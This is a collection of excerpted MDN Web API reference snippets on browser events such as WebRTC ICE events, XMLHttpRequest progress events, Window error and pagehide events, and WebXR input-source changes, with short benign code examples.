the icegatheringstatechange event is sent to the onicegatheringstatechange event handler on an rtcpeerconnection when the state of the ice candidate gathering process changes.
... bubbles no cancelable no interface event event handler onicegatheringstatechange note: while you can determine that ice candidate gathering is complete by watching for icegatheringstatechange events and checking for the value of icegatheringstate to become complete, you can also simply have your handler for the icecandidate event look to see if its candidate property is null.
... examples this example creates a handler for icegatheringstatechange events.
... pc.onicegatheringstatechange = ev => { let connection = ev.target; switch(connection.icegatheringstate) { case "gathering": /* collection of candidates has begun */ break; case "complete": /* collection of candidates is finished */ break; } } likewise, you can use addeventlistener() to add a listener for icegatheringstatechange events: pc.addeventlistener("icegatheringstatechange", ev => { let connection = ev.target; switch(connection.icegatheringstate) { case "gathering": /* collection of candidates has begun */ break; case "complete": /* collection of candidates is finished */ break; } }, false); specifications specification status comment webrtc 1.0: real-time communication betwee...
RTCPeerConnection: icecandidateerror event - Web APIs
the webrtc api event icecandidateerror is sent to an rtcpeerconnection if an error occurs while performing ice negotiations through a stun or turn server.
... the event object is of type rtcpeerconnectioniceerrorevent, and contains information describing the error in some amount of detail.
... bubbles no cancelable no interface rtcpeerconnectioniceerrorevent event handler property rtcpeerconnection.onicecandidateerror description the error object's errorcode property is one of the numeric stun error codes.
... pc.addeventlistener("icecandidateerror", (event) => { if (event.errorcode === 701) { reportconnectfail(event.url, event.errortext); } }); note that if multiple stun and/or turn servers are provided when creating the connection, this error may happen more than once, if more than one of those servers fails.
RTCPeerConnection: peeridentity event - Web APIs
the peeridentity event is sent to the connection concerned when peer identity has been set and verified on it.
...an event handler for this event can be added via the rtcpeerconnection.onpeeridentity property.
... bubbles no cancelable no interface event event handler property onpeeridentity important: this event and its event handler have been removed from the specification and are no longer available.
... instead of using this event to detect when an identity is available, simply wait for the promise returned by rtcpeerconnection.peeridentity to be resolved.
RTCPeerConnectionIceErrorEvent.address - Web APIs
the rtcpeerconnectioniceerrorevent property address is a string which indicates the local ip address being used to communicate with the stun or turn server during negotiations.
... syntax let address = rtcpeerconnectioniceerrorevent.address; value a domstring which specifies the local ip address of the network connection to the ice server with which negotiations were occurring when the error occurred.
... examples this example creates a handler for icecandidateerror events which creates human readable messages describing the local network interface for the connection as well as the ice server that was being used to try to open the connection, then calls a function to display those as well as the event's errortext property's contents.
... pc.addeventlistener("icecandidateerror", (event) => { let networkinfo = `[local interface: ${event.address}:${event.port}`; let iceserverinfo = `[ice server: ${event.url}`; showmessage(errortext, iceserverinfo, networkinfo); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceerrorevent.address' in that specification.
RTCTrackEvent.transceiver - Web APIs
the webrtc api interface rtctrackevent's read-only transceiver property indicates the rtcrtptransceiver affiliated with the event's track.
... syntax var rtptransceiver = trackevent.transceiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent.
... note: the rtcrtpreceiver referred to by this rtcrtpreceiver's receiver property will always be the same as the rtctrackevent's receiver property.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.transceiver' in that specification.
RTCTrackEventInit.transceiver - Web APIs
the rtctrackeventinit dictionary's transceiver property specifies the rtcrtptransceiver associated with the track event.
... syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var rtptransceiver = trackeventinit.transceiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent.
... note: the rtcrtpreceiver referred to by this rtcrtpreceiver's receiver property will always be the same as the rtctrackevent's receiver property.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.transceiver' in that specification.
SVGElement: resize event - Web APIs
the resize event is fired when an svg document is being resized.
... this event is only applicable to outermost svg elements and is dispatched after the resize operation has taken place.
... this basically implements the standard resize dom event.
... bubbles no cancelable no interface svgevent event handler property onresize examples svgelem.addeventlistener('resize', () => { console.log('svg resized.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'event changes in svg2' in that specification.
ScriptProcessorNode: audioprocess event - Web APIs
the audioprocess event of the scriptprocessornode interface is fired when an input buffer of a script processor is ready to be processed.
... bubbles no cancelable no default action none interface audioprocessingevent event handler property scriptprocessornode.onaudioprocess examples scriptnode.addeventlistener('audioprocess', function(audioprocessingevent) { // the input buffer is a song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in this case there is only one) for (var channel = 0; channel < outputbuffer.numberofchannels; channel++) { var inputdata = inputbuffer.getchanneldata(channel); var outputdata = outputbuffer.getchanneldata(channel); // loo...
...p through the 4096 samples for (var sample = 0; sample < inputbuffer.length; sample++) { // make output equal to the same as the input outputdata[sample] = inputdata[sample]; // add noise to each output sample outputdata[sample] += ((math.random() * 2) - 1) * 0.2; } } }) you could also set up the event handler using the scriptprocessornode.onaudioprocess property: scriptnode.onaudioprocess = function(audioprocessingevent) { ...
... } specifications specification status comment web audio apithe definition of 'audioprocessingevent' in that specification.
SecurityPolicyViolationEvent.sample - Web APIs
the sample read-only property of the securitypolicyviolationevent interface is a domstring representing a sample of the resource that caused the violation.
... syntax let sample = violationeventinstance.sample; value a domstring containing a sample of the resource that caused the violation, usually the first 40 characters.
... this will only be populated if the resource is an inline script, event handler, or style — external resources causing a violation will not generate a sample.
... example document.addeventlistener("securitypolicyviolation", (e) => { console.log(e.sample); }); specifications specification status comment content security policy level 3the definition of 'sample' in that specification.
SensorErrorEvent - Web APIs
the sensorerrorevent interface of the sensor apis provides information about errors thrown by a sensor or related interface.
... constructor sensorerrorevent.sensorerrorevent() creates a new sensorerrorevent object.
... properties sensorerrorevent.error read only returns the domexception object passed in the event's contructor.
... specifications specification status comment generic sensor apithe definition of 'sensorerrorevent' in that specification.
ServiceWorkerMessageEvent.data - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the data read-only property of the serviceworkermessageevent interface returns the event's data.
... syntax var mydata = serviceworkermessageeventinstance.data; value any data type.
... examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent.
ServiceWorkerMessageEvent.origin - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the origin read-only property of the serviceworkermessageevent interface returns the origin of the service worker's environment settings object.
... syntax var myorigin = serviceworkermessageeventinstance.origin; value a domstring.
... examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent.
ServiceWorkerMessageEvent.ports - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the ports read-only property of the serviceworkermessageevent interface returns an array of messageport objects connected with the message channel the message is being sent through.
... syntax var myports = serviceworkermessageeventinstance.ports; value an array of messageport objects.
... examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent.
ServiceWorkerMessageEvent.source - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the source read-only property of the serviceworkermessageevent returns a reference to the serviceworker object of the associated service worker that sent the message.
... syntax var mysource = serviceworkermessageeventinstance.source; value a serviceworker or messageport object.
... examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent.
SpeechSynthesisErrorEvent.error - Web APIs
the error property of the speechsynthesiserrorevent interface returns an error code indicating what has gone wrong with a speech synthesis attempt.
... syntax myerror = event.error; value a domstring containing an error code.
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.error('an error...
... has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'error' in that specification.
UIEvent.layerX - Web APIs
WebAPIUIEventlayerX
the uievent.layerx read-only property returns the horizontal coordinate of the event relative to the current layer.
... this property takes scrolling of the page into account and returns a value relative to the whole of the document unless the event occurs inside a positioned element, where the returned value is relative to the top left of the positioned element.
... syntax var xpos = event.layerx xpos is an integer value in pixels for the x-coordinate of the mouse pointer, when the mouse event fired.
...evt.layery; } </script> <style type="text/css"> #d1 { border: solid blue 1px; padding: 20px; } #d2 { position: absolute; top: 180px; left: 80%; right:auto; width: 40%; border: solid blue 1px; padding: 20px; } #d3 { position: absolute; top: 240px; left: 20%; width: 50%; border: solid blue 1px; padding: 10px; } </style> </head> <body onmousedown="showcoords(event)"> <p>to display the mouse coordinates please click anywhere on the page.</p> <div id="d1"> <span>this is an un-positioned div so clicking it will return layerx/layery values almost the same as pagex/pagey values.</span> </div> <div id="d2"> <span>this is a positioned div so clicking it will return layerx/layery values that are relative to the top-left corner of this positioned element.
UIEvent.layerY - Web APIs
WebAPIUIEventlayerY
the uievent.layery read-only property returns the vertical coordinate of the event relative to the current layer.
... this property takes scrolling of the page into account, and returns a value relative to the whole of the document, unless the event occurs inside a positioned element, where the returned value is relative to the top left of the positioned element.
... syntax var ypos = event.layery; ypos is an integer value in pixels for the y-coordinate of the mouse pointer, when the mouse event fired.
...evt.layery; } </script> <style type="text/css"> #d1 { border: solid blue 1px; padding: 20px; } #d2 { position: absolute; top: 180px; left: 80%; right:auto; width: 40%; border: solid blue 1px; padding: 20px; } #d3 { position: absolute; top: 240px; left: 20%; width: 50%; border: solid blue 1px; padding: 10px; } </style> </head> <body onmousedown="showcoords(event)"> <p>to display the mouse coordinates please click anywhere on the page.</p> <div id="d1"> <span>this is an un-positioned div so clicking it will return layerx/layery values almost the same as pagex/pagey values.</span> </div> <div id="d2"> <span>this is a positioned div so clicking it will return layerx/layery values that are relative to the top-left corner of this positioned element.
VisualViewport: resize event - Web APIs
the resize event of the visualviewport interface is fired when the visual viewport is resized.
... bubbles no cancelable no interface event event handler property onresize examples you can use the resize event in an addeventlistener method: visualviewport.addeventlistener('resize', function() { ...
... }); or use the onresize event handler property: visualviewport.onresize = function() { ...
... }; specifications specification status comment visual viewport apithe definition of 'visualviewport events' in that specification.
VisualViewport: scroll event - Web APIs
the scroll event of the visualviewport interface is fired when the visual viewport is scrolled.
... bubbles no cancelable no interface event event handler property onscroll examples you can use the scroll event in an addeventlistener method: visualviewport.addeventlistener('scroll', function() { ...
... }); or use the onscroll event handler property: visualviewport.onscroll = function() { ...
... }; specifications specification status comment visual viewport apithe definition of 'visualviewport events' in that specification.
WebGLContextEvent.statusMessage - Web APIs
the read-only webglcontextevent.statusmessage property contains additional event status information, or is an empty string if no additional information is available.
... examples the statusmessage property can contain a platform dependent string with details of an event.
... this can occur, for example, if the webglcontextcreationerror event is fired.
... var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextcreationerror', function(e) { console.log('webgl context creation failed:' + e.statusmessage || 'unknown error'); }, false); specifications specification status comment webgl 1.0the definition of 'webglcontextevent.statusmessage' in that specification.
Window: error event - Web APIs
the error event is fired on a window object when a resource failed to load or couldn't be used — for example if a script has an execution error.
... bubbles no cancelable no interface event or uievent event handler property onerror the event object is a uievent instance if it was generated from a user interface element, or an event instance otherwise.
... examples live example html <div class="controls"> <button id="script-error" type="button">generate script error</button> <img class="bad-img" /> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } button { height: 2rem; margin: .5rem; } img { width: 0; height: 0; } js const log = document.queryselector('.event-log-contents'); window.addeventlistener('error', (event) => { log.textcontent = log...
....textcontent + `${event.type}: ${event.message}\n`; console.log(event) }); const scripterror = document.queryselector('#script-error'); scripterror.addeventlistener('click', () => { const badcode = 'const s;'; eval(badcode); }); result specifications specification status ui events working draft ...
Window: online event - Web APIs
the online event of the window interface is fired when the browser has gained access to the network and the value of navigator.online switches to true.
... note: this event shouldn't be used to determine the availability of a particular website.
... network problems or firewalls might still prevent the website from being reached.
... bubbles no cancelable no interface event event handler property ononline examples // addeventlistener version window.addeventlistener('online', (event) => { console.log("you are now connected to the network."); }); // ononline version window.ononline = (event) => { console.log("you are now connected to the network."); }; specifications specification status html living standardthe definition of 'online event' in that specification.
Window: pagehide event - Web APIs
the pagehide event is sent to a window when the browser hides the current page in the process of presenting a different page from the session's history.
... for example, when the user clicks the browser's back button, the current page receives a pagehide event before the previous page is shown.
... bubbles no cancelable no interface pagetransitionevent event handler property onpagehide examples in this example, an event handler is established to watch for pagehide events and to perform special handling if the page is being persisted for possible reuse.
... window.addeventlistener("pagehide", event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } }, false); this can also be written using the onpagehide event handler property on the window: window.onpagehide = event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } } specifications specification status comment html living standardthe definition of 'pagehide' in that specification.
WindowEventHandlers.onrejectionhandled - Web APIs
the onrejectionhandled property of the windoweventhandlers mixin is the eventhandler for processing rejectionhandled events.
... these events are raised when promises are rejected.
... syntax window.addeventlistener("rejectionhandled", function(event) { ...
... }); window.onrejectionhandled = function(event) { ...}; example window.onrejectionhandled = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'onrejectionhandled' in that specification.
WindowEventHandlers.onunhandledrejection - Web APIs
the onunhandledrejection property of the windoweventhandlers mixin is the eventhandler for processing unhandledrejection events.
... these events are raised for unhandled promise rejections.
... syntax window.onunhandledrejection = function; value function is an eventhandler or function to call when unhandledrejection events are received by the window.
... the event handler receives as an input parameter as a promiserejectionevent.
XMLHttpRequest: abort event - Web APIs
the abort event is fired when a request has been aborted, for example because the program called xmlhttprequest.abort().
... bubbles no cancelable no interface progressevent event handler property onabort examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.
...queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.textcontent = log.textcontent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => ...
...{ runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: error event - Web APIs
the error event is fired when the request encountered an error.
... bubbles no cancelable no interface progressevent event handler property onerror examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.
...queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.textcontent = log.textcontent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => ...
...{ runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: load event - Web APIs
the load event is fired when an xmlhttprequest transaction completes successfully.
... bubbles no cancelable no interface progressevent event handler property onload examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.q...
...ueryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.textcontent = log.textcontent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => {...
... runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: loadend event - Web APIs
the loadend event is fired when a request has completed, whether successfully (after load) or unsuccessfully (after abort or error).
... bubbles no cancelable no interface progressevent event handler property onloadend examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = documen...
...t.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.textcontent = log.textcontent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () =...
...> { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: loadstart event - Web APIs
the loadstart event is fired when a request has started to load data.
... bubbles no cancelable no interface progressevent event handler property onloadstart examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = docum...
...ent.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.textcontent = log.textcontent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', ()...
... => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: progress event - Web APIs
the progress event is fired periodically when a request receives more data.
... bubbles no cancelable no interface progressevent event handler property onprogress examples live example html <div class="controls"> <input class="xhr success" type="button" name="xhr" value="click to start xhr (success)" /> <input class="xhr error" type="button" name="xhr" value="click to start xhr (error)" /> <input class="xhr abort" type="button" name="xhr" value="click to start xhr (abort)" /> </div> <textarea readonly class="event-log"></textarea> css .event-log { width: 25rem; height: 4rem; border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = docume...
...nt.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.textcontent = log.textcontent + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () ...
...=> { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequestEventTarget.onprogress - Web APIs
the xmlhttprequesteventtarget.onprogress is the function called periodically with information when an xmlhttprequest before success completely.
... event event.loaded the amount of data currently transfered.
... event.total the total amount of data to be transferred.
... xmlhttprequest.onprogress = function (event) { event.loaded; event.total; }; example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onprogress = function () { //do something }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XRInputSourcesChangeEvent.added - Web APIs
the read-only xrinputsourceschangeevent property added is a list of zero or more input sources, each identified using an xrinputsource object, which have been newly made available for use.
... syntax let addedinputs = xrinputsourceschangeevent.added; value an array of zero or more xrinputsource objects, each representing one input device added to the xr system.
... examples the example below creates a handler for the inputsourceschange event that processes the lists of added and removed from the webxr system.
... xrsession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.added' in that specification.
XRInputSourcesChangeEvent.removed - Web APIs
the read-only xrinputsourceschangeevent property removed is an array of zero or more xrinputsource objects representing the input sources which have been removed from the xrsession.
... syntax removedinputs = xrinputsourceschangeevent.removed; value an array of zero or more xrinputsource objects, each representing one input device removed from the xr system.
... examples the example below creates a handler for the inputsourceschange event that processes the lists of added and removed from the webxr system.
... xrsession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.removed' in that specification.
XRReferenceSpaceEventInit.referenceSpace - Web APIs
the xrreferencespaceeventinit property referencespace is used to establish the value of a newly-constructed xrreferencespaceevent object when calling the xrreferencespaceevent() constructor.
... syntax let eventinitdict = { referencespace: xrreferencespace, transform: xrrigidtransform }); value an xrreferencespace indicating the source of the event.
... examples this simple snippet calls the constructor to create a new reference space event of type reset.
... let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit.referencespace' in that specification.
XRSession: inputsourceschange event - Web APIs
the inputsourceschange event is sent to an xrsession when the set of available webxr input devices changes.
... the received event, of type xrinputsourceschangeevent, contains a list of any newly added and/or removed input devices.
... bubbles yes cancelable no interface xrinputsourceschangeevent event handler property oninputsourceschange the event object contains lists of the newly-added and/or removed input devices in its added and removed properties.
... examples specifications specification status comment webxr device apithe definition of 'inputsourceschange event' in that specification.
XRSessionEventInit - Web APIs
the xrsessioneventinit dictionary is used when calling the xrsessionevent() constructor to provide the new event's initial values.
... you're unlikely to need to create these events yourself, however, as they're created by the xr system.
... properties session the xrsession to which the event is to be delivered.
... examples <tbd> specifications specification status comment webxr device apithe definition of 'xrsessioneventinit' in that specification.
Index - Event reference
WebEventsIndex
found 2 pages: # page tags and summary 1 event reference event, overview, reference dom events are sent to notify code of interesting things that have taken place.
... each event is represented by an object which is based on the event interface, and may have additional custom fields and/or functions used to get additional information about what happened.
... events can represent everything from basic user interactions to automated notifications of things happening in the rendering model.
... 2 index index, events found 2 pages: ...
Window: userproximity event - Archive of obsolete content
the userproximity event is fired when fresh data is available from a proximity sensor (indicates whether the nearby object is near the device or not).
... bubbles no cancelable no interface userproximityevent target defaultview (window) default action none event handler property window.onuserroximity specification proximity sensor note: this event has been disabled by default in firefox 62, behind the device.sensors.proximity.enabled preference (bug 1462308).
... specifications specification status proximity sensorthe definition of 'proximity events' in that specification.
Window: devicelight event - Archive of obsolete content
the devicelight event is fired when fresh data is available from a light sensor.
... note: this event has been disabled by default in firefox 62, behind the device.sensors.ambientlight.enabled preference (bug 1462308).
... examples window.addeventlistener('devicelight', function(event) { console.log(event.value); }); specifications specification status comment ambient light sensorthe definition of 'ambient light events' in that specification.
Chrome-only Events reference
this page lists events that are only available in gecko chrome code (and sometimes in other privileged circumstances, eg.
... mozbeforepaintgecko 2.0 adds a new method for performing javascript controlled animations that synchronize not only with one another, but also with css transitions and smil animations being performed within the same window.mozscrolledareachangedthe mozscrolledareachanged event is fired when the document view has been scrolled or resized.
... smartcard-insertthe smartcard-insert event is fired when the insertion of a smart card has been detectedsmartcard-removethe smartcard-remove event is fired when the removal of a smart card has been detected.
AbortSignal: abort event - Web APIs
the abort event of the fetch api is fired when a fetch request is aborted, i.e.
... bubbles no cancelable no interface event event handler onabort examples in the following snippets, we create a new abortcontroller object, and get its abortsignal (available in the signal property).
... you can use the abort event in an addeventlistener method: var controller = new abortcontroller(); var signal = controller.signal; signal.addeventlistener('abort', function() { console.log('request aborted'); }; or use the onabort event handler property: var controller = new abortcontroller(); var signal = controller.signal; signal.onabort = function() { console.log('request aborted'); }; specifications specification status domthe definition of 'abort' in that specification.
AnimationEvent.elapsedTime - Web APIs
the animationevent.elapsedtime read-only property is a float giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused.
... for an animationstart event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
... syntax time = animationevent.elapsedtime specifications specification status comment css animationsthe definition of 'animationevent.elapsedtime' in that specification.
AnimationPlaybackEvent.timelineTime - Web APIs
the timelinetime read-only property of the animationplaybackevent interface represents the time value of the animation's timeline at the moment the event is queued.
... this will be unresolved if the animation was not associated with a timeline at the time the event was generated or if the associated timeline was inactive.
... specifications specification status comment web animationsthe definition of 'animationplaybackevent.timelinetime' in that specification.
AudioScheduledSourceNode: ended event - Web APIs
the ended event of the audioscheduledsourcenode interface is fired when the source node has stopped playing.
... bubbles no cancelable no interface event event handler property audioscheduledsourcenode.onended usage notes this event occurs when a audioscheduledsourcenode has stopped playing, either because it's reached a predetermined stop time, the full duration of the audio has been performed, or because the entire buffer has been played.
